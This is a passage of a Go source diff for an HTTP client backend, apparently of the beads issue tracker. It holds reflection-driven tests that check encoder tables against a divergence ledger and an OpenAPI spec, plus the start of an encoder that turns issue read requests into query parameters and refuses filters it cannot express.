!fields[row.Field] { + t.Errorf("ledger row %s is about %s.%s, which no encoder table classifies", + row.ID, row.Type.Name(), row.Field) + } + } +} + +// TestEveryFieldShapedLedgerRowIsCitedByTheTable is the ledger's other +// completeness direction, and the one this package's doc comment claimed before +// anything checked it: "a row nothing references fails the gate too". +// +// The check above proves a row's FIELD is still classified. This proves the ROW +// is still reached — that some table entry names it — which is what separates a +// live rule from a leftover. Without it the ledger accumulates rows for +// dispositions that changed underneath them, and a reader auditing "is this +// refusal real?" has no way to tell. +// +// Rows about the WRITE shapes stay exempt for the reason the check above exempts +// them: this package encodes no request bodies, so no table of its could cite +// one. Their completeness against the wire's own member lists is a guard the +// lifecycle wiring owns (D8 refuse-not-drop). +func TestEveryFieldShapedLedgerRowIsCitedByTheTable(t *testing.T) { + // Rows a table cannot cite because the rule is about a VALUE rather than a + // field's presence, so the encoder raises them from code. + raisedFromCode := map[string]string{ + "E-IssueFilter.IDs@bound": "the bound is on the LENGTH of the id set, which a per-field disposition cannot express; PlanSearch raises it", + } + + cited := map[string]bool{} + sources := map[reflect.Type]bool{} + for _, table := range Tables() { + sources[table.Source] = true + for _, entry := range table.Fields { + if entry.Ledger != "" { + cited[entry.Ledger] = true + } + } + } + + for _, row := range Ledger() { + if row.Type == nil || row.Kind == KindRetired || !sources[row.Type] { + continue + } + if cited[row.ID] || raisedFromCode[row.ID] != "" { + continue + } + t.Errorf("ledger row %s (%s.%s) is cited by no encoder-table entry.\n"+ + "Either a disposition stopped referring to it — in which case the row is a leftover — or it is raised from code and belongs in raisedFromCode with the reason.", + row.ID, row.Type.Name(), row.Field) + } +} + +// TestEveryEncoderTableParameterIsPublished reads the document as the authority +// it is declared to be: internal/httpapi/spec/openapi.v0.yaml and routes.go are +// the SOLE surface authority, so a parameter this client sends that the +// operation does not publish is a 400 waiting to happen, and a parameter the +// operation publishes that no field drives is a filter this client cannot +// express and has not admitted to. +func TestEveryEncoderTableParameterIsPublished(t *testing.T) { + published := loadPublishedParameters(t) + + for _, table := range Tables() { + t.Run(tableName(table), func(t *testing.T) { + want, ok := published[table.Op] + if !ok { + t.Fatalf("the document publishes no operation %q", table.Op) + } + + sent := map[string]bool{} + for _, entry := range table.Fields { + if entry.Disposition != DispParam { + continue + } + if !want[entry.Param] { + t.Errorf("%s sends %q, which %s does not publish: %v", + entry.Name, entry.Param, table.Op, sortedKeys(want)) + } + sent[entry.Param] = true + } + for _, reserved := range table.Reserved { + if !want[reserved.Name] { + t.Errorf("reserved parameter %q is not published by %s", reserved.Name, table.Op) + } + if strings.TrimSpace(reserved.Why) == "" { + t.Errorf("reserved parameter %q carries no reason", reserved.Name) + } + sent[reserved.Name] = true + } + + if !table.Primary { + // A bridge maps a legacy filter onto a subset of an operation + // it does not own, so it owes the containment check above and + // not the coverage one below. + return + } + for name := range want { + if !sent[name] { + t.Errorf("%s publishes %q and no field of %s drives it.\n"+ + "Map it, or list it in the table's Reserved set with the reason no request field can.", + table.Op, name, table.Source.Name()) + } + } + }) + } +} + +// TestEncoderHonorsEveryTableDisposition drives the encoders one field at a +// time and asserts each behaves the way the table declares. +// +// One field at a time, against a baseline, because that is the only way to +// attribute a difference: a request with two fields set tells you nothing about +// which one produced which parameter. +func TestEncoderHonorsEveryTableDisposition(t *testing.T) { + for _, table := range Tables() { + base := baselineFor(t, table) + baseline, err := Encode(table.Op, table.Shape, base.Interface()) + if err != nil { + t.Fatalf("%s: the baseline source does not encode: %v", tableName(table), err) + } + + for _, entry := range table.Fields { + t.Run(tableName(table)+"/"+entry.Name, func(t *testing.T) { + source := reflect.New(table.Source).Elem() + source.Set(base) + populate(t, source.FieldByName(entry.Name)) + + got, err := Encode(table.Op, table.Shape, source.Interface()) + + switch entry.Disposition { + // A derived default is driven exactly as a refusal: the sweep's + // sentinel value is by construction not one any intent derives, + // so the inversion must reject it and cite the same row. + case DispRefused, DispInverted: + var refusal *RefusedError + if !errors.As(err, &refusal) { + t.Fatalf("a populated %s encoded without a refusal (err=%v, params=%v).\n"+ + "A dropped filter widens the result set invisibly — see D7 and ledger row %s.", + entry.Name, err, got.Params, entry.Ledger) + } + if !errors.Is(err, ErrRefused) { + t.Errorf("the refusal does not match ErrRefused") + } + if refusal.Row.ID != entry.Ledger { + t.Errorf("refusal cites ledger row %q, table says %q", refusal.Row.ID, entry.Ledger) + } + case DispParam: + if err != nil { + t.Fatalf("a populated %s failed to encode: %v", entry.Name, err) + } + if _, ok := got.Params[entry.Param]; !ok { + t.Errorf("a populated %s produced no %q parameter (params=%v)", entry.Name, entry.Param, got.Params) + } + case DispPath: + if err != nil { + t.Fatalf("a populated %s failed to encode: %v", entry.Name, err) + } + if len(got.PathIDs) == 0 || got.PathIDs[0] == "" { + t.Errorf("a populated %s produced no path id (%v)", entry.Name, got.PathIDs) + } + case DispServerFixed, DispClientSide, DispDropped: + if err != nil { + t.Fatalf("a populated %s failed to encode: %v", entry.Name, err) + } + if got.Params.Encode() != baseline.Params.Encode() { + t.Errorf("a populated %s changed the query string (%q, baseline %q); a %s field must send nothing", + entry.Name, got.Params.Encode(), baseline.Params.Encode(), entry.Disposition) + } + case DispNested: + // The opposite assertion to the three above: a delegated + // shape must REACH the wire. A builder that forgot it would + // answer a perfectly well-formed number about the whole + // workspace, and nothing downstream could tell. + if err != nil { + t.Fatalf("a populated %s failed to encode: %v", entry.Name, err) + } + if got.Params.Encode() == baseline.Params.Encode() { + t.Errorf("a populated %s sent nothing (query %q is the baseline); the delegated shape never reached the wire", + entry.Name, got.Params.Encode()) + } + } + }) + } + } +} + +// TestTheExactIDsFanOutIsBounded pins the one refusal the disposition sweep +// cannot reach by populating a single field: the bound is on the LENGTH of a +// set the sweep populates with one element. +func TestTheExactIDsFanOutIsBounded(t *testing.T) { + ids := make([]string, MaxExactIDs) + for i := range ids { + ids[i] = fmt.Sprintf("bd-%04d", i) + } + + plan, err := PlanSearch(types.IssueFilter{IDs: ids}, ZeroVocabulary) + if err != nil { + t.Fatalf("%d ids refused: %v", MaxExactIDs, err) + } + if plan.Shape != SearchExactIDs || len(plan.IDs) != MaxExactIDs { + t.Fatalf("plan = %+v, want the exact-ids shape carrying %d ids", plan, MaxExactIDs) + } + + var refusal *RefusedError + if _, err := PlanSearch(types.IssueFilter{IDs: append(ids, "bd-over")}, ZeroVocabulary); !errors.As(err, &refusal) { + t.Fatalf("%d ids encoded without a refusal: %v", MaxExactIDs+1, err) + } else if refusal.Row.ID != "E-IssueFilter.IDs@bound" { + t.Errorf("refusal cites %q, want E-IssueFilter.IDs@bound", refusal.Row.ID) + } +} + +// TestASearchFilterMatchingNeitherShapeRefuses covers the two shape decisions +// the per-field sweep cannot express: the empty filter, which means EVERYTHING +// and is the most dangerous drop on this surface, and the id-plus-parent pair, +// which is neither shape. +func TestASearchFilterMatchingNeitherShapeRefuses(t *testing.T) { + parent := "bd-parent" + for _, tc := range []struct { + name string + filter types.IssueFilter + row string + }{ + {"the empty filter", types.IssueFilter{}, "E-IssueFilter.noShape"}, + {"ids and a parent together", types.IssueFilter{IDs: []string{"bd-1"}, ParentID: &parent}, "E-IssueFilter.shapeConflict"}, + } { + t.Run(tc.name, func(t *testing.T) { + var refusal *RefusedError + plan, err := PlanSearch(tc.filter, ZeroVocabulary) + if !errors.As(err, &refusal) { + t.Fatalf("encoded as %+v without a refusal (err=%v)", plan, err) + } + if refusal.Row.ID != tc.row { + t.Errorf("refusal cites %q, want %q", refusal.Row.ID, tc.row) + } + }) + } +} + +// TestAReadyRequestNamingNoPolicySendsHybrid is the one normalization the +// encoder performs, and it is here because getting it wrong is silent: an +// omitted `sort` is `priority` to the server and hybrid to the storage layer, +// and the two answer with different item SETS once a limit truncates. +func TestAReadyRequestNamingNoPolicySendsHybrid(t *testing.T) { + for _, req := range []issueops.ReadyRequest{{}, {Sort: ""}} { + got, err := ReadyParams(req) + if err != nil { + t.Fatalf("ReadyParams: %v", err) + } + if got.Get("sort") != "hybrid" { + t.Errorf("sort = %q, want hybrid", got.Get("sort")) + } + } + // The derived-default status is what the encoder drops; an empty status now + // refuses, so the minimal ready filter this normalization runs on carries it. + got, err := ReadyBridgeParams(types.WorkFilter{Status: types.StatusOpen}) + if err != nil { + t.Fatalf("ReadyBridgeParams: %v", err) + } + if got.Get("sort") != "hybrid" { + t.Errorf("bridge sort = %q, want hybrid", got.Get("sort")) + } +} + +// populatableFields lists the fields of a request shape a caller can set, +// walking embedded structs the way a caller reaches promoted fields. +// +// Unexported fields are excluded because no caller outside their package can +// set one, which is what "populatable" means here. +func populatableFields(rt reflect.Type) []string { + var out []string + for i := range rt.NumField() { + f := rt.Field(i) + if !f.IsExported() { + continue + } + if f.Anonymous { + et := f.Type + for et.Kind() == reflect.Pointer { + et = et.Elem() + } + if et.Kind() == reflect.Struct { + out = append(out, populatableFields(et)...) + continue + } + } + out = append(out, f.Name) + } + return out +} + +// populate sets a field to a value a caller could plausibly have set, so the +// encoder sees it as present. +func populate(t *testing.T, v reflect.Value) { + t.Helper() + if !v.CanSet() { + t.Fatalf("cannot set a %s", v.Type()) + } + switch { + case v.Type() == reflect.TypeOf(time.Time{}): + v.Set(reflect.ValueOf(time.Date(2026, 3, 4, 5, 6, 7, 0, time.UTC))) + return + case v.Kind() == reflect.Pointer: + v.Set(reflect.New(v.Type().Elem())) + populate(t, v.Elem()) + return + case v.Kind() == reflect.Struct: + // A nested request shape (DispNested), populated WHOLE rather than one + // member deep: the assertion the sweep makes about it is that the + // delegated encoding reached the wire, and a shape whose one populated + // member happened to be a client-side one would satisfy that vacuously. + for i := range v.NumField() { + if v.Type().Field(i).IsExported() { + populate(t, v.Field(i)) + } + } + return + } + switch v.Kind() { + case reflect.String: + v.SetString("gate-sentinel") + case reflect.Bool: + v.SetBool(true) + case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: + v.SetInt(1) + case reflect.Slice: + elem := reflect.New(v.Type().Elem()).Elem() + populate(t, elem) + v.Set(reflect.Append(reflect.MakeSlice(v.Type(), 0, 1), elem)) + case reflect.Map: + key, value := reflect.New(v.Type().Key()).Elem(), reflect.New(v.Type().Elem()).Elem() + populate(t, key) + populate(t, value) + v.Set(reflect.MakeMap(v.Type())) + v.SetMapIndex(key, value) + default: + t.Fatalf("no sentinel for a %s (%s)", v.Kind(), v.Type()) + } +} + +// baselineFor is the smallest source value each table can encode. The two +// SearchIssues shapes need their selector set before anything else about them +// can be observed, because the shape decides which fields are readable at all. +func baselineFor(t *testing.T, table Table) reflect.Value { + t.Helper() + base := reflect.New(table.Source).Elem() + switch table.Shape { + case "searchExactIDs": + base.FieldByName("IDs").Set(reflect.ValueOf([]string{"bd-baseline"})) + case "searchParentWalk": + parent := "bd-baseline" + base.FieldByName("ParentID").Set(reflect.ValueOf(&parent)) + case "workFilterBridge": + // The ready bridge's Status is a DERIVED DEFAULT, not a refusal: the + // encoder recognizes StatusOpen — the value workapi.BuildReadyFilter + // stamps on every ready filter — as the server's own default and drops + // it, and refuses every other status including the empty one (the storage + // layer's open+in_progress default, which the ready wire cannot state). + // So the smallest source this table can encode carries StatusOpen, + // exactly as the walk's smallest carries its parent selector. + base.FieldByName("Status").Set(reflect.ValueOf(types.StatusOpen)) + } + return base +} + +func tableName(table Table) string { + if table.Shape == "" { + return string(table.Op) + } + return string(table.Op) + "/" + table.Shape +} + +func findRow(t *testing.T, id string) Row { + t.Helper() + for _, row := range Ledger() { + if row.ID == id { + return row + } + } + t.Fatalf("no divergence-ledger row %q", id) + return Row{} +} + +// testFunctionsInThisPackage collects the test names a ledger row may cite as +// its pin. +// +// Parsed out of the sources rather than kept as a list, for the reason +// everything else here is derived rather than restated: a second copy is a +// second thing that can be wrong. +// +// It reads THIS package, the store package above it, and cmd/bd, because the +// ledger is one artifact and its pins are not. The read-shape rows are pinned by +// the encoder sweep in this directory; the write-shape rows D8's refuse-not-drop +// enumeration owns are pinned where the refusal is raised, which is the store's +// role bodies; and the F- rows — whole commands and the flag modes of served +// commands — can only be pinned where a cobra tree exists. Scanning only this +// directory would have forced those rows to carry a TODO forever and made a real +// pin indistinguishable from a missing one. +// +// cmd/bd's files are enterprise-tagged and this test is not. That is fine and +// deliberate: parsing is text, and the same reasoning the skew sweep records +// applies — the build-constrained files are precisely the ones that carry these +// pins. +func testFunctionsInThisPackage(t *testing.T) map[string]bool { + t.Helper() + names := map[string]bool{} + for _, dir := range []string{".", "..", filepath.Join("..", "..", "..", "cmd", "bd")} { + collectTestFunctions(t, dir, names) + } + if len(names) == 0 { + t.Fatal("found no test functions to check ledger pins against") + } + return names +} + +func collectTestFunctions(t *testing.T, dir string, into map[string]bool) { + t.Helper() + entries, err := os.ReadDir(dir) + if err != nil { + t.Fatalf("read %s: %v", dir, err) + } + fset := token.NewFileSet() + for _, entry := range entries { + if entry.IsDir() || !strings.HasSuffix(entry.Name(), "_test.go") { + continue + } + path := filepath.Join(dir, entry.Name()) + file, err := parser.ParseFile(fset, path, nil, parser.SkipObjectResolution) + if err != nil { + t.Fatalf("parse %s: %v", path, err) + } + for _, decl := range file.Decls { + fn, ok := decl.(*ast.FuncDecl) + if ok && fn.Recv == nil && strings.HasPrefix(fn.Name.Name, "Test") { + into[fn.Name.Name] = true + } + } + } +} + +func sortedKeys(m map[string]bool) []string { + out := make([]string, 0, len(m)) + for k := range m { + out = append(out, k) + } + sort.Strings(out) + return out +} + +// loadPublishedParameters reads the query parameters of every operation out of +// the wire contract itself. +// +// The document rather than a hand-kept list, because a hand-kept list is the +// second copy this whole gate exists to avoid; and the document rather than the +// handlers, because the document is what the source-of-truth ordering names as +// the surface authority. +// +// Read through spec.OpenAPIV0() (a go:embed'd []byte) rather than a relative +// os.ReadFile path: the embed already carries this exact file as a build +// input of internal/httpapi/spec, so this gate's own package dependency is +// what makes the document reachable under `bazel test`'s sandbox -- no +// `data` attribute naming the YAML's filesystem path is needed here at all. +func loadPublishedParameters(t *testing.T) map[Op]map[string]bool { + t.Helper() + raw := spec.OpenAPIV0() + var doc struct { + Paths map[string]map[string]struct { + OperationID string `yaml:"operationId"` + Parameters []struct { + Name string `yaml:"name"` + In string `yaml:"in"` + } `yaml:"parameters"` + } `yaml:"paths"` + } + if err := yaml.Unmarshal(raw, &doc); err != nil { + t.Fatalf("parse the wire contract: %v", err) + } + + out := map[Op]map[string]bool{} + for _, methods := range doc.Paths { + for method, operation := range methods { + if operation.OperationID == "" || !slices.Contains([]string{"get", "post", "patch", "delete", "put"}, method) { + continue + } + names := map[string]bool{} + for _, p := range operation.Parameters { + if p.In == "query" { + names[p.Name] = true + } + } + out[Op(operation.OperationID)] = names + } + } + if len(out) == 0 { + t.Fatal("the wire contract parsed to no operations") + } + return out +} diff --git a/internal/httpclient/encode/encode.go b/internal/httpclient/encode/encode.go new file mode 100644 index 000000000..c99a75bd9 --- /dev/null +++ b/internal/httpclient/encode/encode.go @@ -0,0 +1,786 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/encode/encode.go@49d1df2f6) +// to OSS beads under the MIT license. +// Package encode turns the read requests bd's storage roles take into v0 query +// parameters, and refuses — never drops — everything the wire cannot carry. +// +// It is the client half of internal/httpapi's parameter decoding, and it is a +// separate package from the wire transport for one reason: the decision it +// makes is a POLICY decision, not a transport one. Dropping a filter widens a +// result set invisibly, and the server can only reject parameters it receives, +// so a filter the encoder silently forgets is a wrong answer no gate on either +// side can observe. Everything in here exists to make that impossible: +// +// - the encoder table (table.go) classifies every field of every request +// shape, and the bijection gate checks it against reflection over the +// structs, against the OpenAPI document, and against these encoders; +// - divergence ledger v1 (ledger.go, ledger_fields.go) carries the reason and +// the citation for every field that cannot make the crossing, and a refusal +// is raised BY ledger id so a refusal with no row cannot be written; +// - the refusal checks themselves are TABLE-DRIVEN rather than hand-rolled, +// so an encoder and its table cannot disagree about what refuses. What +// stays hand-written is the value rendering, which is exactly what the +// round-trip gate drives through the server's own decoder. +// +// See engdocs/design/http-client-backend.md — D7 (the refusal taxonomy), D8 +// (the role dispositions and the refuse-not-drop enumeration), D9 (the +// divergence ledger), D11 (id resolution) and D12 (MaxRows). +package encode + +import ( + "errors" + "fmt" + "net/url" + "reflect" + "sort" + "strconv" + "time" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// MaxExactIDs bounds the exact-ids fan-out of the SearchIssues bridge: an +// IssueFilter naming more ids than this refuses rather than issuing an +// unbounded burst of getIssue calls at one server (D11; the number itself is +// open question 6, to be measured against real call-site fan-out before GA). +const MaxExactIDs = 100 + +// ErrRefused matches every refusal this package raises, so a caller that only +// needs to know "the wire cannot express this" does not have to reach for the +// concrete type. +var ErrRefused = errors.New("not expressible on the v0 wire") + +// RefusedError is the typed refusal: the operation being encoded for, and the +// divergence-ledger row that says what was refused, why, which decision it +// comes from and what pins it. +// +// It deliberately carries no server URL and no flag rendering. D7's three +// refusal texts are the CLI's to write — they speak the user's vocabulary and +// need the target and the server's version — and the row here is what supplies +// the flag name and the reason they read back. +type RefusedError struct { + Op Op + Shape string + Row Row +} + +func (e *RefusedError) Error() string { + subject := e.Row.Flag + if subject == "" && e.Row.Type != nil { + subject = e.Row.Type.Name() + "." + e.Row.Field + } + if subject == "" { + // A row about a COMBINATION of fields has no single subject; its What + // is already the sentence. + return fmt.Sprintf("%s: %s (%s; %s)", e.Op, e.Row.What, e.Row.Why, e.Row.SpecRow) + } + return fmt.Sprintf("%s: %s is %s (%s; %s)", e.Op, subject, ErrRefused, e.Row.Why, e.Row.SpecRow) +} + +func (e *RefusedError) Is(target error) bool { return target == ErrRefused } + +// Encoded is what one request becomes. +type Encoded struct { + // Params is the query string, empty rather than nil for a request that + // names no parameter. + Params url.Values + // PathIDs are the ids a path-shaped encoding dials, one request each: the + // getIssue id, or the exact-ids fan-out of the SearchIssues bridge. + PathIDs []string +} + +// Encode routes one source value to the encoder for an operation and shape. +// +// It exists so the gates can drive every table uniformly. Ordinary callers know +// which request they hold and use the typed functions below. +func Encode(op Op, shape string, source any) (Encoded, error) { + switch (opShape{op, shape}) { + case opShape{OpListReadyWork, ""}: + return encodeAs(op, shape, source, ReadyParams) + case opShape{OpCountReadyWork, ""}: + return encodeAs(op, shape, source, ReadyCountParams) + case opShape{OpListIssues, ""}: + return encodeAs(op, shape, source, ListParams) + case opShape{OpQueryIssues, ""}: + return encodeAs(op, shape, source, QueryParams) + case opShape{OpCountIssues, ""}: + return encodeAs(op, shape, source, CountParams) + case opShape{OpCountIssues, "byGroup"}: + return encodeAs(op, shape, source, CountByGroupParams) + case opShape{OpListReadyWork, "workFilterBridge"}: + return encodeAs(op, shape, source, ReadyBridgeParams) + case opShape{OpGetIssue, ""}: + return encodeGetIssue(op, shape, source) + case opShape{OpGetIssue, "searchExactIDs"}, opShape{OpListIssues, "searchParentWalk"}: + return encodeSearch(op, shape, source) + } + return Encoded{}, fmt.Errorf("encode: no encoder for operation %q shape %q", op, shape) +} + +// opShape is the (operation, shape) pair Encode dispatches on. +type opShape struct { + op Op + shape string +} + +// encodeGetIssue is Encode's arm for getIssue: GetTarget's id is the one path +// id the request dials. +func encodeGetIssue(op Op, shape string, source any) (Encoded, error) { + req, err := sourceAs[issueops.GetRequest](op, shape, source) + if err != nil { + return Encoded{}, err + } + id, v := GetTarget(req) + return Encoded{Params: v, PathIDs: []string{id}}, nil +} + +// encodeSearch is Encode's arm for the two SearchIssues bridge shapes: it plans +// the filter and refuses one that plans to the other shape. +func encodeSearch(op Op, shape string, source any) (Encoded, error) { + filter, err := sourceAs[types.IssueFilter](op, shape, source) + if err != nil { + return Encoded{}, err + } + // The zero vocabulary, which is what a gate driving the table has: it + // falls back to the built-in statuses and the default infra types, the + // same reading BuildListFilter gives an unconfigured workspace. + plan, err := PlanSearch(filter, ZeroVocabulary) + if err != nil { + return Encoded{}, err + } + if string(plan.Shape) != shape { + return Encoded{}, fmt.Errorf("encode: the filter is the %q shape, not %q", plan.Shape, shape) + } + return Encoded{Params: plan.Params, PathIDs: plan.IDs}, nil +} + +func encodeAs[T any](op Op, shape string, source any, encoder func(T) (url.Values, error)) (Encoded, error) { + req, err := sourceAs[T](op, shape, source) + if err != nil { + return Encoded{}, err + } + v, err := encoder(req) + if err != nil { + return Encoded{}, err + } + return Encoded{Params: v}, nil +} + +func sourceAs[T any](op Op, shape string, source any) (T, error) { + req, ok := source.(T) + if !ok { + return req, fmt.Errorf("encode: operation %q shape %q takes a %T, got %T", op, shape, req, source) + } + return req, nil +} + +// ReadyParams encodes a ready-work listing onto GET /v0/beads/ready. +func ReadyParams(req issueops.ReadyRequest) (url.Values, error) { + b := newBuilder(OpListReadyWork, "") + b.refuseInexpressible(req) + b.readyFilters(req) + b.boolean("brief", req.Brief) + b.str("sort", readySort(req.Sort)) + b.intPtr("limit", req.Limit) + return b.done() +} + +// ClaimNextParams encodes a ClaimNext ready request onto the QUERY STRING of +// POST /v0/beads/issues:claimNext. +// +// IT BUILDS AGAINST listReadyWork's TABLE, which is not laziness about a missing +// one: the claim's filter IS that listing's filter, decoded server-side by the +// same function, and giving this operation a table of its own would be a second +// declaration of one vocabulary — the exact drift the table gate exists to +// prevent. So the refusal walk, the fifteen filter parameters and the sort +// policy all come from readyTable, and what differs is what is NOT emitted. +// +// TWO PARAMETERS ARE WITHHELD and neither absence is one the server would +// forgive. `limit` is refused BY VALUE on this operation, with any value at all +// — the scan has to stay unbounded or a window of rows a racing agent already +// took would report nothing to claim while other ready work waits. `brief` has +// no spelling here, because the claim refetches its winner whole rather than +// reading it through the page's query, so the projection would have nothing to +// apply to and would answer a MUTATING request with a row saying it got +// everything. The ROLE refuses both before this encoder is reached +// (ValidateClaimNextRequest); this is the second line, and it is the one that +// holds if a caller ever reaches the encoder another way. +// +// The SORT is sent explicitly, always, exactly as the listing sends it — an +// absent `sort` is `priority` to the handler and `hybrid` to the storage layer, +// and here that difference decides WHICH ROW IS WRITTEN rather than what order +// rows are printed in. +func ClaimNextParams(req issueops.ReadyRequest) (url.Values, error) { + b := newBuilder(OpListReadyWork, "") + b.refuseInexpressible(req) + b.readyFilters(req) + b.str("sort", readySort(req.Sort)) + return b.done() +} + +// metadataFieldList renders the metadata equality filter as the wire's repeated +// `key=value` member, in key order — b.metadata's rule, so the object and the +// query produce the same set. +func metadataFieldList(fields map[string]string) []string { + if len(fields) == 0 { + return nil + } + keys := make([]string, 0, len(fields)) + for key := range fields { + keys = append(keys, key) + } + sort.Strings(keys) + out := make([]string, 0, len(fields)) + for _, key := range keys { + out = append(out, key+"="+fields[key]) + } + return out +} + +func boolPtr(b bool) *bool { return &b } + +// strSlicePtr returns a pointer to a copy of values, or nil for an empty slice. +// An empty-but-non-nil slice constrains nothing, so it is sent as absent — the +// same reading populated() gives it on the refusal walk. +func strSlicePtr(values []string) *[]string { + if len(values) == 0 { + return nil + } + out := append([]string(nil), values...) + return &out +} + +// ReadyCountParams encodes a ready-work COUNT onto GET /v0/beads/ready:count. +// +// It sends the listing's filters and nothing else: the operation publishes no +// order and no page, and the role refuses both itself. +func ReadyCountParams(req issueops.ReadyRequest) (url.Values, error) { + b := newBuilder(OpCountReadyWork, "") + b.refuseInexpressible(req) + b.readyFilters(req) + return b.done() +} + +// readySort resolves the policy actually sent. +// +// An EMPTY policy is sent as the concrete `hybrid` it means, never omitted. +// Omitting it would adopt the server's own `priority` default while the caller +// meant the storage layer's hybrid fallback, and those two answer with +// different item SETS as soon as a limit truncates — the silent kind of +// divergence this package exists to make impossible. +func readySort(policy string) string { + if policy == "" { + return "hybrid" + } + return policy +} + +// ListParams encodes an issue listing onto GET /v0/beads/issues. +// +// It emits no `cursor` and no `sort`: the cursor is the server's to mint and +// the pager's to echo, and the order is welded to created order on the wire — +// see the listIssues table for both. +func ListParams(req issueops.ListRequest) (url.Values, error) { + b := newBuilder(OpListIssues, "") + b.refuseInexpressible(req) + + b.str("status", req.Status) + b.str("type", req.IssueType) + b.str("assignee", req.Assignee) + + b.list("label", req.Labels) + b.list("label_any", req.LabelsAny) + b.list("exclude_label", req.ExcludeLabels) + + b.str("parent", req.ParentID) + + b.boolean("all", req.AllFlag) + b.boolean("include_templates", req.IncludeTemplates) + b.boolean("include_gates", req.IncludeGates) + b.boolean("include_infra", req.IncludeInfra) + b.boolean("include_ephemeral", req.IncludeEphemeral) + + b.timestamp("created_before", req.CreatedBefore) + b.timestamp("created_after", req.CreatedAfter) + + b.metadata(req.MetadataFields) + b.str("has_metadata_key", req.HasMetadataKey) + + b.boolean("brief", req.Brief) + b.intPtr("limit", req.Limit) + return b.done() +} + +// QueryParams encodes a boolean-expression query onto +// GET /v0/beads/issues:query. +func QueryParams(req issueops.QueryRequest) (url.Values, error) { + b := newBuilder(OpQueryIssues, "") + b.refuseInexpressible(req) + + b.str("q", req.Expression) + b.boolean("all", req.IncludeClosed) + b.str("sort", req.SortBy) + b.boolean("reverse", req.Reverse) + b.intPtr("limit", req.Limit) + return b.done() +} + +// CountParams encodes an issue count onto GET /v0/beads/issues:count. +// +// It sends the predicate and nothing else — there is no page, no order and no +// projection on this operation, because a cardinality has none — and it refuses +// nothing, because the operation publishes every member of the request. The +// refusal walk still runs: it is what turns a member added upstream tomorrow +// into a failure here rather than into a silently narrower predicate behind an +// unchanged-looking number. +func CountParams(req issueops.CountRequest) (url.Values, error) { + b := newBuilder(OpCountIssues, "") + b.refuseInexpressible(req) + b.countFilters(req) + return b.done() +} + +// CountByGroupParams encodes a bucketed count onto the same operation. +// +// The predicate is the SCALAR encoder's, called rather than copied: the two +// methods must ask the same question of the same set, and two builders would be +// two chances to disagree about that. +// +// A dimension that is there travels VERBATIM, unrecognized ones included: the +// closed vocabulary is the ROLE's rule at every backend, refused by the role +// client before it ever reaches here — and the server refuses it too, naming +// the parameter. What this layer must not do is drop one: a group_by that went +// missing would earn a scalar answer with no `groups` member at all, which the +// caller reads as "no buckets" rather than as an error. +// +// An EMPTY dimension is the one value that does not travel, and it is not a +// drop — it is the absence itself, which no parameter can spell. Nothing +// reaches this function with one: the role client refuses an empty GroupBy with +// the unrecognized ones, for exactly the reason above. The emptiness check is +// what keeps `group_by=` off the query of a caller who came through some other +// door. +func CountByGroupParams(req issueops.CountByGroupRequest) (url.Values, error) { + v, err := CountParams(req.Filter) + if err != nil { + return nil, err + } + if req.GroupBy != "" { + v.Set("group_by", string(req.GroupBy)) + } + return v, nil +} + +// countFilters emits the count's whole vocabulary, which is every member of the +// request. +// +// It is spelled beside readyFilters and in the count table's order, so the +// three statements about this operation — the table, this emitter and the +// server's own countFilters decode — read as one list three times rather than +// as three lists. +func (b *builder) countFilters(req issueops.CountRequest) { + b.str("status", req.Status) + b.str("type", req.IssueType) + b.str("assignee", req.Assignee) + + b.intPtr("priority", req.Priority) + b.intPtr("priority_min", req.PriorityMin) + b.intPtr("priority_max", req.PriorityMax) + + b.list("label", req.Labels) + b.list("label_any", req.LabelsAny) + + b.str("title", req.TitleSearch) + b.str("id", req.IDFilter) + + b.str("title_contains", req.TitleContains) + b.str("desc_contains", req.DescContains) + b.str("notes_contains", req.NotesContains) + + b.timestamp("created_after", req.CreatedAfter) + b.timestamp("created_before", req.CreatedBefore) + b.timestamp("updated_after", req.UpdatedAfter) + b.timestamp("updated_before", req.UpdatedBefore) + b.timestamp("closed_after", req.ClosedAfter) + b.timestamp("closed_before", req.ClosedBefore) + + b.boolean("empty_description", req.EmptyDesc) + b.boolean("no_assignee", req.NoAssignee) + b.boolean("no_labels", req.NoLabels) + + b.boolean("include_infra", req.IncludeInfra) + // Added alongside the table.go IncludeEphemeral/HasMetadataKey entries: the + // table declared these params but nothing here wrote them, so a populated + // field silently vanished before the request left the process. + b.boolean("include_ephemeral", req.IncludeEphemeral) + + b.metadata(req.MetadataFields) + b.str("has_metadata_key", req.HasMetadataKey) +} + +// GetTarget encodes a detail lookup onto GET /v0/beads/issues/{id}, returning +// the path id and the query. +// +// It cannot refuse: every member of a GetRequest is on the wire, which is what +// retired ledger row L4. +func GetTarget(req issueops.GetRequest) (string, url.Values) { + b := newBuilder(OpGetIssue, "") + b.boolean("include_dependents", req.IncludeDependents) + b.boolean("include_comments", req.IncludeComments) + b.boolean("brief_deps", req.BriefDeps) + return req.ID, b.v +} + +// ReadyBridgeParams encodes the legacy types.WorkFilter onto the ready +// operation's parameters. +// +// It is the reverse mapper D8 calls deliberately throwaway: it lives until +// `bd ready`'s listing moves onto issueops.Reader upstream, and until then it +// refuses every field it cannot express rather than answering a wider question +// than was asked (L12). +func ReadyBridgeParams(f types.WorkFilter) (url.Values, error) { + b := newBuilder(OpListReadyWork, "workFilterBridge") + // The one derived default is recognized BEFORE the residual refusal sweep, + // matching the table's declaration order: Status is declared ahead of the + // plain refusals, so a filter that diverges in both refuses on the derived + // member (D4's parent-walk inversion, applied to the ready bridge's single + // derived default). + b.recognizeReadyStatus(f) + b.refuseInexpressible(f) + + b.str("type", f.Type) + b.strPtr("assignee", f.Assignee) + b.boolean("unassigned", f.Unassigned) + + b.list("label", f.Labels) + b.list("label_any", f.LabelsAny) + b.list("exclude_label", f.ExcludeLabels) + b.str("label_pattern", f.LabelPattern) + b.str("label_regex", f.LabelRegex) + + b.intPtr("priority", f.Priority) + b.strPtr("parent", f.ParentID) + + b.list("exclude_type", issueTypeNames(f.ExcludeTypes)) + b.metadata(f.MetadataFields) + b.str("has_metadata_key", f.HasMetadataKey) + + b.boolean("include_ephemeral", f.IncludeEphemeral) + b.boolean("include_deferred", f.IncludeDeferred) + + b.boolean("brief", f.Lite) + b.str("sort", readySort(string(f.SortPolicy))) + b.intPositive("limit", f.Limit) + return b.done() +} + +// ReadyBridgeCountParams encodes the same legacy types.WorkFilter onto +// countReadyWork's parameters: the size of the set ReadyBridgeParams lists a +// page 